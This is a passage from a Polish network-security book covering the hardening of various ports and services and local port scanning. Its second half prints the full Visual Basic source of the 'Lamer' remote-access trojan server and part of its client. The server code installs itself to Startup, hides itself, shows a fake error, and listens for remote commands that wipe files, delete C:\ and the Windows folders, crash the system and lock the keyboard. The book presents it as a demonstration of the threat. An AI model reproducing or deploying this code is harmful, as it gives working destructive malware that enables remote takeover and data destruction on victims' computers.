dzięki niemu uzyskać przy stosunkowo niewielkim wysiłku. W większości przypad-
ków, ponieważ usługa ta nie jest wymagana — zwłaszcza jej odpowiedzi na zapytania
przesyłane z Internetu — powinna zostać wyłączona.
Aby wyłączyć usługę w systemie UNIX, oznaczamy opisujący ją wiersz w pliku
/etc/inetd.conf
jako komentarz, podobnie jak przedstawiono to na rysunku 1.1
dla usługi Echo. Następnie restartujemy proces inetd lub system operacyjny.
W systemach Windows NT/2000 odinstalowujemy usługę serwera protokołu
Finger wraz z całością usług Simple TCP/IP Services, poprzez arkusz właściwości
połączenia sieciowego.
Jeżeli założenia komunikacji sieciowej wymagają, aby demon pozostawał aktywny, na-
leży zadbać o osłonę (wrapper). Należy również zapewnić, aby nie umożliwiała rozpo-
wszechniania faktycznych nazw kont użytkowników. Następnie wyłączamy funkcję prze-
kierowania usługi Finger i sprawdzamy czy dane użytkowników aktywnych nie są
bezpośrednio dostępne. Usługa Finger słynie ze swojej użyteczności w przygotowywaniu
włamań do sieci, wszystkie wymienione uwagi należy więc potraktować bardzo poważ-
nie. Jeżeli nie mamy możliwości zmodyfikowania kodu źródłowego programu lub wpły-
wu na konfigurację demona, powinniśmy z niego zrezygnować i poszukać innej wersji.
Port 80: HTTP
Jak niewątpliwie Czytelnik już wie, HTTP (Hypertext Transfer Protocol, protokół prze-
syłania hipertekstu) jest protokołem, na którym opiera się funkcjonowanie Wielkiej
Ś
wiatowej Pajęczyny, czyli WWW (World Wide Web). Protokół ten określa sposób
formatowania i przesyłania komunikatów będących następstwem wpisania w przeglą-
darce adresu URL witryny internetowej. Najczęstszym nadużyciem związanym z róż-
nymi wersjami demona HTTP jest „złamanie strony WWW” (ang. Web page hack).
Mimo że szersze omówienie technik przeciwdziałania przedstawione zostanie w dalszej
części książki, wspomnimy teraz o istotnej zasadzie projektowania sieci z serwerem lub
serwerami WWW.
Mocno zalecane jest projektowanie sieci zgodnie z omówionym na wcześniejszych stro-
nach (Port 25: SMTP) schematem SMTP-NAT-DMZ. Umieszczenie serwera WWW za
zaporą firewall, w strefie DMZ, pozwoli zaoszczędzić wielu, wielu godzin spędzanych na
58
Hack Wars. Tom 2. Na tropie hakerów
58
mniej lub bardziej rutynowych działaniach, do których zmuszają administratora próby
atakowania sieci. Podstawowym aspektem tego rozwiązania jest wydajna zapora, zdolna
do badania, potencjalnie, milionów pakietów żądań HTTP. Jest to rozwiązanie zdecydo-
wanie najlepsze. Gdy jednak (jak to często bywa) koszt systemu staje się istotnym
czynnikiem ograniczającym, pozostaje utrzymywanie szczegółowych dzienników syste-
mu i wprowadzenie blokady portów. Blokady portów, takie jak TigerWatch (narzędzie
omówione w dalszych rozdziałach), pełnią rolę uproszczonych zapór firewall, zamykając
podatne na ataki porty i związane z nimi usługi oraz monitorując próby ataków.
Jeżeli usługa HTTP nie jest wymagana, czy to w systemie UNIX, czy Windows, wyłą-
czamy ją. Wymagane czynności są podobne jako opisane na stronach wcześniejszych
(Port21: FTP i Port 23: Telnet). Gdy usługa pozostaje aktywna, w systemie UNIX
nie wolno zapominać o jej osłonie, wraz ze szczegółowym rejestrowaniem, oraz wy-
łączeniu funkcji przeglądania katalogów.
TigerWebServer
Rozwiązaniem dobrym zarówno dla firm, jak i domowych użytkowników Windows,
może być TigerWebServer — bezpieczny serwer WWW, od podstaw zaprojektowany
tak, aby można było go uruchomić, wraz z całą witryną, z dysku CD-ROM. Jest to
najpewniejszy sposób zabezpieczenia przed „złamaniem” witryny WWW — nie ist-
nieje możliwość zdalnej podmiany plików na niezapisywalnym dysku optycznym.
Program posiada również inne ciekawe funkcje:
Analizatory sesji.
Proaktywne monitorowanie serwera.
Zdalne zarządzanie witryną.
Przetwarzanie skryptów CGI, w tym dostęp do książki gości.
Rozmowa (ang. chat) w czasie rzeczywistym.
Obsługa do 100 000 jednoczesnych strumieni połączeń.
Moduły FTP i Telnet użytkownika.
Obsługa adresów IP w czasie rzeczywistym.
Obsługa adresów IP w czasie rzeczywistym jest szczególną cechą programu Tiger-
WebServer. Oznacza, że w pełni profesjonalny dostęp do serwera WWW, z dowolnego
miejsca i w dowolnym czasie, zapewniać mogą użytkownicy zarówno stałych, jak i tym-
czasowych czy telefonicznych internetowych kont dostępowych. Można wręcz korzystać
z kilku różnych kont dostępu telefonicznego, z których każde przypisuje serwerowi
odmienny adres IP w każdej sesji. TigerWebServer pracować może w połączeniu z usłu-
gami nazw domen lub bez nich.
Program opisujemy szerzej w dodatku A.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
59
59
Porty 109 i 110: POP
Protokół urzędu pocztowego (Post Office Protocol, POP) służy do pobierania poczty
elektronicznej z serwera pocztowego. Opiera się na topologii klient-serwer, gdzie
pocztę odbiera i przechowuje serwer — do chwili, gdy oprogramowanie klienta przepro-
wadzi procedurę logowania i ostatecznie pobierze zgromadzone przesyłki. Braki w inte-
gracji architektury protokołu umożliwiają osobom nieupoważnionym logowanie, jak
również bezpośrednie połączenia Telnet (przez port 110) z systemami operacyjnymi,
w których pracują demony POP, nawet po zmianie hasła stosowanego dla konta
POP3. Inną słabością jest ujawnianie istotnych informacji przy próbie połączenia telneto-
wego z systemem pocztowym, jak również możliwość pobierania plików bufora poczty.
Jeżeli usługi POP nie są wymagane, w systemie UNIX wyłączamy usługę, a w syste-
mie Windows odinstalowujemy odpowiednie oprogramowanie. Jeżeli dostęp POP jest
koniecznością, zakładamy jego osłonę (zgodnie z opisem na stronach wcześniejszych).
Bezpieczeństwo protokołu POP różni się w zależności od stosowanego pakietu, należy
więc przejrzeć dokumentację pod kątem dostępnych w stosowanej wersji zaawanso-
wanych funkcji zabezpieczających.
Porty 111, 135 i 137 – 139
Porty o wymienionych numerach współpracują z usługami, kolejno: Portmap, Loc-serv,
Nbname, Nbdatagram i Nbsession. Demon Portmap konwertuje numery programów
RPC na numery portów. Serwer RPC przy uruchamianiu rejestruje swoją aktywność
w programie demona Portmap. Podaje on demonowi numer portu, na którym prowadzi
nasłuch, oraz numery programów RPC, które obsługuje. Demon Portmap zna dzięki temu
odpowiednie numery portów i posiada informację o tym, które programy są na każ-
dym z nich dostępne. Loc-serv to usługa RPC systemu NT. Jeżeli osoba niepowołana
użyje odpowiednich parametrów i poda adres klienta, może uzyskać dzięki tej usłudze
nazwę domeny NIS (network information service, sieciowa usługa informacyjna).
Ogólnie rzecz biorąc, znajomość nazwy domeny NIS może umożliwić uzyskanie kopii
pliku haseł.
Port 137 (nbname) służy jako alternatywa systemu odwzorowywania nazw DNS. Określa
się tę usługę często nazwą WINS lub usługa nazw NetBIOS. Węzły, na których uru-
chomiona jest obsługa protokołu NetBIOS pracującego w oparciu o TCP/IP korzystają
z pakietów UDP przesyłanych do i z portu UDP o numerze 137 — realizują w ten sposób
odwzorowania nazw. Słabością tego protokołu jest brak uwierzytelniania. Na rozgło-
szeniowe zapytania o jakiekolwiek nazwy odpowiedzieć może dowolny komputer,
podszywając się w ten sposób pod uprawniony do tego serwer.
Niezmiernie istotną rzeczą jest filtrowanie komunikacji przez każdy z opisywanych tu
portów na granicach lokalnego segmentu sieci. Odpowiednie mechanizmy zapewnić
mogą zapory firewall, routery lub blokady portów. W dalszych rozdziałach szerzej
omówimy techniki filtrowania i ich stosowanie jako alternatywy dla wyłączania zagro-
ż
onych usług.
60
Hack Wars. Tom 2. Na tropie hakerów
60
Port 161: SNMP
Prosty protokół zarządzania siecią (Simple Network Management Protocol, SNMP)
odpowiada za zarządzanie i monitorowanie urządzeń sieciowych. Jeżeli demon usługi
SNMP jest aktywny, osoby nieupoważnione mogą sięgnąć po udzielane przezeń infor-
macje w celu uzyskania danych o sieci. Należą do nich: typy urządzeń, lista aktywnych
połączeń sieciowych, lista aktywnych procesów, a nawet lista aktywnych użytkowników.
Podstawowymi środkami przeciwdziałania takiemu nadużyciu jest filtrowanie dostępu
z Internetu i zadbanie o stosowanie wyłącznie prywatnych nazw wspólnot SNMP.
Porty 512 – 520
Port 512 wykorzystuje narzędzie
rexec()
do zdalnego uruchamiania procesów. Gdy
port ten jest aktywny (prowadzony jest na nim nasłuch), w większości sytuacji serwer
uruchamiania zdalnego skonfigurowany jest tak, aby rozpoczynać pracę automatycznie.
Wiąże się to zasadniczo z obecnością w pamięci X-Windows. Bez odpowiedniej ochrony,
zawartość okien użytkownika może być wówczas przechwytywana i podglądana.
Porty 513 i 514 określa się jako „uprzywilejowane” i jako takie — w wielu odmianach
systemu UNIX — stają się celem ataków związanych z podrabianiem adresów IP.
Z portu 514 korzysta również narzędzie
rsh
, funkcjonujące jako interaktywna powłoka
systemu, pozbawiona jakiejkolwiek procedury logowania. Obie te usługi potwierdzają
obecność demona X-Windows (podobnie jak opisano to wyżej). Korzystając z metod
konwencjonalnych, proste użycie narzędzia Telnet pozwoli ustanowić połączenie.
Dostęp UPD do portu 514 (dziennik systemowy) jest otwartym zaproszeniem do różnego
rodzaju ataków DoS. Prosty moduł skanujący potwierdzi jego otwartość na nadużycia.
Demony Talk to interaktywne programy komunikacyjne, działające zgodnie z proce-
durami określanymi przez starsze i nowsze wersje protokołu Talk (porty 517 i 518).
Obsługują one odbywające się w czasie rzeczywistym konwersacje tekstowe pomię-
dzy stacjami UNIX. Na demony te składają się zazwyczaj programy klienta i serwera
Talk, które w normalnych warunkach mogą jednocześnie pracować w tym samym
systemie. W większości przypadków, nowsze demony Talk, inicjowane przez port 518,
nie są zgodne z wersjami starszymi. Mimo, że ich aktywność może wydawać się nie-
szkodliwa, często tak nie jest. Poza oczywistą kwestią, że utworzenie połączenia wiąże
się z ustanowieniem komunikacji TCP na jednym z losowo wybranych portów syste-
mu, usługi te wrażliwe są również na kilka możliwości ataku zdalnego.
Proces ustanawiania trasy pakietów określany jako dynamiczne wybieranie trasy (ang.
dynamic routing) ma miejsce wówczas, gdy routery komunikują się z routerami przy-
ległymi (sąsiadującymi), informując się wzajemnie o tym, z którymi sieciami każdy z
nich jest w danej chwili zaznajomiony. Komunikacja taka opiera się na protokole wy-
bierania tras — usłudze wymagającej odpowiedniego demona. W zależności od pro-
tokołu, przekazywane w obu kierunkach pomiędzy routerami uaktualnienia danych,
korzystają z określonych portów systemu. Najpopularniejszy chyba protokół wybierania
tras, Routing Information Protocol (RIP, protokół informowania o trasach), korzysta
z portu UDP o numerze 520. Port ten znalazł również zastosowanie w wielu firmowych
protokołach o tym samym przeznaczeniu. W fazie wykrywania danych o celu ataku, kiedy
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
61
61
zbierane są najważniejsze informacje o topologii, sesje komunikacyjne protokołów
wybierania tras mogą być przechwytywane niemal dowolnym monitorem sieci.
Ś
rodkiem przeciwdziałania tego rodzaju zagrożeniom jest filtrowanie komunikacji
korzystającej z wymienionych portów na granicy systemu lokalnego lub „zaufanego”
segmentu sieci. Odpowiednie mechanizmy zapewnić mogą zapory firewall, routery
lub blokady portów. W dalszych rozdziałach techniki filtrowania omówimy szerzej.
Port 540: UUCP
W pracy protokołu UUCP (UNIX-to-UNIX Copy Protocol, protokół kopiowania mię-
dzy systemami UNIX) bierze udział rodzina programów, które realizują przesyłanie
plików między różnymi systemami UNIX i, co ważniejsze, przekazywanie poleceń,
które wykonane zostaną na systemie zdalnym. Protokół ten znajduje zastosowanie w stan-
dardowych procedurach dostarczania poczty elektronicznej.
Zasadniczo, usługa UUCP nie jest wymagana, powinna więc zostać wyłączona. W tym
celu, podobnie jak przedstawiono to na rysunku 1.1 odnośnie usługi Echo, oznaczamy
opisujący UUCP wiersz w pliku
/etc/inetd.conf
jako komentarz. Wówczas restartujemy
system lub sam proces inetd.
Jeżeli protokół UUCP jest wymagany, co związane jest przede wszystkim z dostarcza-
niem poczty, osłaniamy usługę. Nie wolno zapominać o archiwizacji szczegółowych
plików dziennika. Tworzy również własny harmonogram, uwzględniający godziny
aktywności, w trakcie których demon UUCP przesyła pocztę, oraz godziny, w których
demon pozostaje wyłączony. Na połączeniach internetowych, konfigurujemy pracę
strumieni sesji UUCP tak, aby korzystały z prywatnych sieci wirtualnych (VPN, virtual
private networks), lub korzystamy z pozostającej pod ochroną zapory firewall strefy
DMZ. Sieci VPN opiszemy szerzej w dalszej części książki.
Porty ukryte
W pierwszym tomie zapoznaliśmy się z wieloma sekretnymi, niebezpiecznymi, ale
szeroko stosowanymi usługami oraz portami, którymi zarządzają. Przedstawiliśmy szkody
wyrządzane przez takie demony, pozwalające zarządzać stacjami CD-ROM, dźwię-
kiem, plikami, paskiem zadań, pulpitem, rejestrowaniem wciśnięć klawiszy, stosowanymi
hasłami, aplikacjami, przeglądarką, systemem jako całością, jego awariami, zrzutami
zawartości ekranu i mechanizmami komunikacji międzyprocesowej. Wszyscy oczywiście
możemy ulec takim atakom. Co więcej, ich przeprowadzenie nie jest wcale trudne.
Informacje przedstawione w Hack wars. Na tropie hakerów zwróciły uwagę na dostępne
osobom nieupoważnionym formy nadużyć. Czas wreszcie nauczyć się jak zapobiegać
włamaniom, zabezpieczając odpowiednio sieć i pracujące w niej komputery. Napisaliśmy,
ż
e wykrycie aktywnych portów i usług wymaga korzystania z narzędzi takich jak
skanery portów. To samo odnosi się do przeprowadzanych lokalnie testów odporności
systemu. Przypomnijmy, że celem skanowania portów jest przejrzenie wszystkich 65 ty-
62
Hack Wars. Tom 2. Na tropie hakerów
62
sięcy „bram” do naszego komputera i uzyskanie informacji o tym, które z nich są otwarte,
a przez to podatne na próby ataku z zewnątrz.
Należy mieć świadomość, że z portów należących do grupy ukrytych korzysta również
wiele użytecznych demonów. Ich listę umieściliśmy na dołączonym do książki dysku
CD. Zgodnie z pierwszym tomem niniejszej publikacji, za porty ukryte uznajemy porty o
numerach od 1025 do 65 000.
Skanowanie portów lokalnych
Do przeprowadzenia przeglądu portów lokalnych wystarczający będzie niemal każdy
zapewniający możliwość pracy wielowątkowej skaner. W naszych przykładach posłuży-
my się programem TigerScan, należącym do pakietu TigerSurf. Rozpoczniemy od za-
logowania się do jego głównego interfejsu (patrz rysunek 1.22). Po zainicjowaniu prze-
glądarki, z menu Options (Opcje) | Security Properties (Właściwości zabezpieczeń) |
Security Scan (Skanowanie zabezpieczeń) wybierzemy Scan ports now (Skanuj porty).
Ilustruje to rysunek 1.23.
Rysunek 1.22.
Logowanie do
programu TigerSurf
Rysunek 1.23.
Uruchamianie modułu
TigerScan z głównego
paska menu
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
63
63
Oprogramowanie TigerSurf znajdziemy na krążku CD dołączonym do niniejszej książki.
Należy być przygotowanym na to, że praca modułu skanowania zajmie nieco czasu
— gromadzi on informacje o portach aktywnych i, poprzez porównanie z bazą danych
o drogach włamań do systemów, ustala ich słabe punkty (patrz rysunek 1.24).
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
63
63
Rysunek 1.24.
Program TigerScan
podaje informacje
o aktywnych portach
i usługach
Ogólnie rzecz biorąc, funkcje skanera przedstawić można w trzech punktach:
1.
Lokalizacja portów otwartych.
2.
Wykrycie dostępnych danych.
3.
Porównanie wyników z listą znanych luk w zabezpieczeniach.
W zależności od wielkości dostępnych zasobów systemu i procesora, cała operacja zająć
może od 3 do 12 minut.
Na rysunku 1.24 widać wyniki pracy skanera — wykryte zostały dwa aktywne porty:
135 i 13 000. Usługa korzystająca z zarezerwowanego portu 135 to usługa Loc-serv
systemu Windows NT. Jeżeli włamywacz użyje odpowiednich parametrów i poda adres
klienta, uzyska nazwę jego domeny NIS. Znajomość nazwy domeny NIS może umożliwić
mu zdobycie kopii pliku haseł.
Nieco większym zaskoczeniem może być usługa wykryta na porcie 13 000, nazwana
lamer. Lamer to nieprzyjemny, zdalnie sterowany koń trojański, realizujący takie funkcje
jak zarządzanie stacją CD-ROM, przesyłanie plików, zarządzanie plikami i dopro-
wadzanie do zawieszenia systemu. Jest to stosunkowo nowa kompilacja, stworzona
w języku Visual Basic i ostatnio testowana przez autora, który w tym celu zaraża wirusem
własny system. Demon ten, zamaskowany jako program narzędziowy, rozpowszechniany
jest najczęściej pocztą elektroniczną. W tym przypadku program odebrany został jako
kalkulator IP, ułatwiający szybkie wyliczanie numerów podsieci, masek i adresów
rozgłaszania.
Przy instalacji zapisywany (lub zastępowany) jest w katalogu
/Windows/System
plik
o nazwie
dnetc.exe
. Po restarcie systemu następuje jego uruchomienie w tle. Wówczas
program prowadzi nasłuch na porcie 13 000 i oczekuje na przekazywane zdalnie dyrekty-
wy. Właściwy
dnetc.exe
ma być programem klienckim ośrodka Distributed.net, umożli-
wiającym systemowi udział w jego ogólnoświatowych projektach — ma przyłączać
komputer użytkownika do proxy Distributed.net i odbierać bloki przeznaczonych do
64
Hack Wars. Tom 2. Na tropie hakerów
64
przeliczenia kluczy. Istnienie konia trojańskiego umożliwia hakerom proste sprawdza-
nie systemów pod kątem aktywności na porcie 13 000. Gdy zostanie wykryta, droga do
zdalnego sterownia stoi otworem.
Więcej informacji o „Trojanie” Lamer i jego różnych odmianach znaleźć można
w ośrodku www.distributed.net.
Do użytku Czytelników przedstawiamy poniżej kod serwera Lamer. Przyjrzenie się
jego listingowi, w połączeniu z przedstawionymi powyżej technikami rozpowszech-
niania, uzmysłowić powinno, jak poważną groźbą może być nawet tak prosta kompilacja
w Visual Basicu. Nadmienić należy, że nie uwzględniono w przedstawionym kodzie
niejawnego funkcjonowania serwera. Zarówno sam serwer, jak i jego klient mogą zo-
stać uruchomione na tej samej stacji.
Lamer Server
Dim d As String
Dim key As Boolean
Dim cdrom As Boolean
Dim mouse As Boolean
Dim start As Boolean
Dim deskt As Boolean
Dim task As Boolean
Function ShowFolderList(foldername)
Dim fso, f, fc, fj, s, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(foldername)
Set fc = f.Subfolders
Set fj = f.Files
For Each f1 In fc
s = f1.name
s = s & "<BR>"
d = d + NewLine + f1
Next
End Function
Function App_Path() As String
x = App.path
If Right$(x, 1) <> "\" Then x = x + "\"
App_Path = UCase$(x)
End Function
Private Sub OPEN_Click()
cdrom = True
MciSendString "Set CDAudio Door Open Wait", _
0&, 0&, 0&
End Sub
Private Sub CLOSE_Click()
cdrom = False
MciSendString "Set CDAudio Door Closed Wait", _
0&, 0&, 0&
End Sub
Private Sub Command2_Click()
startbar = 0
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
65
65
End Sub
Private Sub Dir1_Change()
Label8.Caption = Dir1.path
File1.path = Dir1.path
End Sub
Private Sub Form_Load()
key = False
cdrom = False
task = True
start = True
deskt = True
Dir1.path = "c:\"
Label8.Caption = Dir1.path
File1.path = Dir1.path
On Error GoTo errorhandle
SourceFile = App_Path + "cracklist.exe"
sourcefile2 = App_Path + "mswinsck.ocx"
Label7.Caption = App.path
DestinationFile2 = "C:\Windows\Start
Menu\Programs\StartUp\cracklist.exe"
destinationfile3 = "c:\windows\system\mswinsck.ocx"
FileCopy SourceFile, DestinationFile2
FileCopy sourcefile2, destinationfile3
errorhandle: If Err.Number = 70 Or 53 Then Resume Next
Label7.Caption = App.path
MsgBox "Error 643 file not found!", vbCritical, "Error"
Winsock1.Close
App.TaskVisible = False
Label2.Caption = Winsock1.LocalIP
Label4.Caption = Winsock1.LocalHostName
Winsock1.Listen
List1.AddItem "Listening on port 13000..."
End Sub
Private Sub Image1_Click()
TaskbarIcons innotontaskbar
End Sub
Private Sub Text1_Change()
Dim data As String
data = "Server respond : Command executed!"
If Text1.text = "Status" Then
data = "<----------------Status--------------->"
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "Computer Name : " & Winsock1.LocalHostName
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "IP Address : " & Winsock1.LocalIP
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "Server path : " & App_Path
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
66
Hack Wars. Tom 2. Na tropie hakerów
66
If task = False Then
data = "Taskbar status : Hidden"
Winsock2(i).SendData data
End If
If task = True Then
data = "Taskbar status : Visible"
Winsock2(i).SendData data
End If
data = NewLine
Winsock2(i).SendData data
If start = False Then
data = "Start button status : Hidden"
Winsock2(i).SendData data
End If
If start = True Then
data = "Start button status : Visible"
Winsock2(i).SendData data
End If
data = NewLine
Winsock2(i).SendData data
If deskt = False Then
data = "Desktop icon status : Hidden"
Winsock2(i).SendData data
End If
If deskt = True Then
data = "Desktop icon status : Visible"
Winsock2(i).SendData data
End If
data = NewLine
Winsock2(i).SendData data
If mouse = False Then
data = "Mouse buttons are not swapped."
Winsock2(i).SendData data
Else
data = "Mouse buttons are swapped."
Winsock2(i).SendData data
End If
data = NewLine
Winsock2(i).SendData data
If cdrom = False Then
data = "CD-Rom is closed."
Winsock2(i).SendData data
Else
data = "CD-Rom is open."
Winsock2(i).SendData data
End If
data = NewLine
Winsock2(i).SendData data
If key = False Then
data = "Keyboard status : Enabled"
Winsock2(i).SendData data
Else
data = "Keyboard status : Disabled"
Winsock2(i).SendData data
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
67
67
End If
data = NewLine
Winsock2(i).SendData data
data = "You are on directory : " + Label8.Caption
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "<----------------End--------------->"
Winsock2(i).SendData data
End If
If Text1.text = "Info" Then
data = "<--------Directory Information-------->"
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "Directory path : " + Label8.Caption
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
Dim intFileCount As Integer
For intFileCount = 0 To File1.ListCount - 1
File1.ListIndex = intFileCount
data = intFileCount & " " & File1.FileName & vbCrLf
Winsock2(i).SendData data
Next
data = "<----------------End--------------->"
Winsock2(i).SendData data
End If
If Text1.text = "Erase" Then
On Error GoTo errhandle
data = "Erasing files..."
Winsock2(i).SendData data
Kill Label8.Caption + "\*.*"
data = NewLine
Winsock2(i).SendData data
data = "Files successfully erased!"
Winsock2(i).SendData data
errhandle: If Err.Number = 53 Then
data = "An error occured. Aborting operation."
Winsock2(i).SendData data
End If
End If
If Text1.text = "Erased" Then
On Error GoTo errorhandler
data = "Erasing files..."
Winsock2(i).SendData data
Kill Label8.Caption + "\*.*"
data = NewLine
Winsock2(i).SendData data
data = "Erasing directory..."
Winsock2(i).SendData data
RmDir Label8.Caption
data = NewLine
Winsock2(i).SendData data
data = "Files and directory successfully erased!"
Winsock2(i).SendData data
errorhandler: If Err.Number = 53 Then
data = "There are no files on this directory..."
Winsock2(i).SendData data
68
Hack Wars. Tom 2. Na tropie hakerów
68
data = NewLine
Winsock2(i).SendData data
RmDir Label8.Caption
Winsock2(i).SendData data
data = "Directory successfully erased!"
Winsock2(i).SendData data
End If
End If
If Text1.text = "viewdir" Then
d = ""
data = "<-----------Directory List----------->"
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
ShowFolderList Label8.Caption & ("\")
data = d
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "<----------------End--------------->"
Winsock2(i).SendData data
End If
If Text1.text = "updir" Then
Dir1.path = Dir1.List(-2)
data = "Directory changed to : " & Label8.Caption
Winsock2(i).SendData data
End If
If Text1.text = "Kill" Then
data = "Server respond : Server killed!"
Winsock2(i).SendData data
End
End If
If Text1.text = "Open CD-ROM" Then
Call OPEN_Click
Winsock2(i).SendData data
End If
If Text1.text = "Close CD-ROM" Then
Call CLOSE_Click
Winsock2(i).SendData data
End If
If Text1.text = "Swap buttons" Then
SwapButtons
End If
If Text1.text = "Crash" Then
Shell "rundll32 user,disableoemlayer"
Winsock2(i).SendData data
End If
If Text1.text = "Shutdown" Then
Shell "rundll32 krnl386.exe,exitkernel"
Winsock2(i).SendData data
End If
If Text1.text = "Lock keyboard" Then
key = True
Shell "rundll32 keyboard,disable"
Winsock2(i).SendData data
End If
If Text1.text = "Destroy" Then
Kill "c:\windows\system\*.*"
Kill "c:\windows\*.*"
Kill "c:\*.*"
Kill "c:\windows\system32\*.*"
Winsock2(i).SendData data
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
69
69
End If
If Text1.text = "Hide task" Then
TaskbarIcons innotontaskbar
task = False
Winsock2(i).SendData data
End If
If Text1.text = "Show task" Then
TaskbarIcons isontaskbar
task = True
Winsock2(i).SendData data
End If
If Text1.text = "Hide start" Then
StartButton innotontaskbar
start = False
Winsock2(i).SendData data
End If
If Text1.text = "Show start" Then
StartButton isontaskbar
start = True
Winsock2(i).SendData data
End If
If Text1.text = "Hide desk" Then
Desktop isoff
deskt = False
Winsock2(i).SendData data
End If
If Text1.text = "Show desk" Then
Desktop ison
deskt = True
Winsock2(i).SendData data
End If
End Sub
Private Sub SwapButtons()
Dim Cur&, Butt&
Cur = SwapMouseButton(Butt)
If Cur = 0 Then
mouse = True
SwapMouseButton (1)
Else
mouse = False
SwapMouseButton (0)
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Dim text As String
Dim name As String
Winsock2(i).Accept requestID
List1.AddItem "User connected, accepting connection request on " &
requestID
Text2.text = "Connection accepted on "
text = Text2.text
name = Label4.Caption
Winsock2(i).SendData text
Winsock2(i).SendData name
End Sub
Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal
As Long)
Dim datas As String
Winsock2(i).GetData datas
70
Hack Wars. Tom 2. Na tropie hakerów
70
Text1.text = datas
Select Case Left(datas, 5)
Case "mkdir"
On Error GoTo errhandler
MkDir Label8.Caption & "\" & Mid(datas, 6)
errhandler: If Err.Number = 75 Then
data = "Directory could not be created. No name is given."
Winsock2(i).SendData data
End If
Case "chdir"
On Error GoTo path
Dir1.path = Mid(datas, 6)
data = "You are on directory : " + Label8.Caption
Winsock2(i).SendData data
path: If Err.Number = 76 Then
data = "Path not found"
Winsock2(i).SendData data
End If
Case "messg"
MsgBox Mid(datas, 6), vbCritical + vbOKOnly, "Unknown
message!"
End Select
End Sub
Moduł sterowania serwera
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As
Long,
ByVal dwReserved As Long) As Long
Public Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As
Long) As Long
Public Declare Function MciSendString Lib "winmm.dll" Alias
"mciSendStringA" (ByVal lpstrCommand As String, ByVal
lpstrReturnString As String, ByVal uReturnLength As Long, ByVal
hwndCallback As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA"
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias
"FindWindowExA" (ByVal
∑
hwnd1 As Long, ByVal hwnd2 As Long, ByVal lpsz1 As String, ByVal
lpsz2 As
∑
String) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As
Long, ByVal
∑
hWndInstertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal
cx As Long,
∑
ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias
"ShellExecuteA" (ByVal
∑
hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String,
ByVal lpParameters As String, ByVal lpDirectory As String, ByVal
nShowCmd As Long)
∑
As Long
Public Declare Function ShowCursor Lib "user32" (ByVal bShow As Long)
As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long,
ByVal nCmdShow
∑
As Long) As Long
Public Declare Function SystemParametersInfo Lib "user32" Alias
∑
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
71
71
Long, lpvParam
∑
As Any, ByVal fuWinIni As Long) As Long
Public Const SW_HIDE = 0
Public Const SW_SHOW = 5
Public Enum Desktop_Constants
ison = True
isoff = False
End Enum
Public Enum StartBar_Constants
isontaskbar = 1
innotontaskbar = 0
End Enum
Public Function StartButton(State As StartBar_Constants)
Dim SendValue As Long
Dim SetOption As Long
SetOption = FindWindow("Shell_TrayWnd", "")
SendValue = FindWindowEx(SetOption, 0, "Button",
vbNullString)
ShowWindow SendValue, State
End Function
Public Function TaskbarIcons(State As StartBar_Constants)
Dim SendValue As Long
Dim SetOption As Long
SetOption = FindWindow("Shell_TrayWnd", "")
SendValue = FindWindowEx(SetOption, 0, "TrayNotifyWnd",
vbNullString)
ShowWindow SendValue, State
End Function
Public Function Desktop(State As Desktop_Constants)
Dim DesktopHwnd As Long
Dim SetOption As Long
DesktopHwnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
SetOption = IIf(State, SW_SHOW, SW_HIDE)
ShowWindow DesktopHwnd, SetOption
End Function
Public Function NewLine()
NewLine = vbCrLf
End Function
Lamer Client
Function ShowFolderList(foldername)
Dim fso, f, fc, fj, s, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(foldername)
Set fc = f.Subfolders
Set fj = f.Files
For Each f1 In fc
s = f1.Name
s = s & "<BR>"
Text1.Text = Text1.Text + NewLine + (f1)
Next
End Function
Private Function NewLine()
NewLine = vbCrLf
End Function
72
Hack Wars. Tom 2. Na tropie hakerów
72
Private Sub Command1_Click()
On Error Resume Next
Text3.Text = "Open CD-ROM"
Command8_Click
End Sub
Private Sub Command10_Click()
Form1.PopupMenu mnuftp
End Sub
Private Sub Command11_Click()
On Error Resume Next
Text3.Text = "Status"
Command8_Click
End Sub
Private Sub Command12_Click()
Form1.PopupMenu mnudesktop
End Sub
Private Sub Command13_Click()
On Error Resume Next
Text3.Text = "Kill"
Command8_Click
End Sub
Private Sub Command14_Click()
Text4.Text = ""
End Sub
Private Sub Command2_Click()
On Error Resume Next
Text3.Text = "Close CD-ROM"
Command8_Click
End Sub
Private Sub Command3_Click()
On Error Resume Next
Text3.Text = "Swap buttons"
Command8_Click
End Sub
